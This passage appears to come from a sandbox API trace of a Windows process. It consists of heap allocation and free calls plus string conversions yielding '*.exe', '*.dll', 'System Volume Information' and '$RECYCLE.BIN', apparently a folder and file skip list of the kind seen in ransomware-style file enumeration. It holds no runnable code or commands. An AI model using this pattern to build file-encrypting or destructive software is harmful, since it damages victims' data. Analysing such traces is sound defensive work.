(HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd2850 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d600 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2b8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2a8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2b8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2a8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d600) returned 1 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d600 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2a8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2b8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2a8) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2b8) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d600) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58d9d0 [0248.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c1f8, cbMultiByte=5, lpWideCharStr=0x58d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58da58 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d9d0) returned 1 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d600 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2b8 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58d9d0 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58da58) returned 1 [0248.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58da58 [0248.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c288, cbMultiByte=5, lpWideCharStr=0x58da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dae0 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58da58) returned 1 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2a8 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58da58 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dae0) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd2850 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.887] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.887] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d298 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.887] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d288 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.887] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0248.887] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d278 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.887] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.887] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x1dd5058 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d248 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5e8 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d238 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c630 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d228 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c678 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d218 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c6c0 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d208 [0248.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c708 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1e8 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c750 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1f8 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c798 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d298) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d288) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d278) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0248.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d278 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d288 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d298 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5e8) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d248) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c630) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d238) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c678) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d228) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c6c0) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d218) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c708) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d208) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c750) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1e8) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c798) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1f8) returned 1 [0248.889] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd5058) returned 1 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x1dd5058 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1f8 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c798 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1e8 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c750 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d208 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c708 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d218 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c6c0 [0248.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d228 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c678 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d238 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c630 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d248 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5e8 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d278) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d288) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d298) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d298 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d288 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d278 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0248.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c798) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1f8) returned 1 [0248.890] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c750) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1e8) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c708) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d208) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c6c0) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d218) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c678) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d228) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c630) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d238) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5e8) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d248) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd5058) returned 1 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dae0 [0248.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c1f8, cbMultiByte=25, lpWideCharStr=0x58dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58db68 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dae0) returned 1 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d248 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dae0 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58db68) returned 1 [0248.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58db68 [0248.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c1b0, cbMultiByte=12, lpWideCharStr=0x58db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dbf0 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58db68) returned 1 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d238 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58db68 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dbf0) returned 1 [0248.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dbf0 [0248.891] 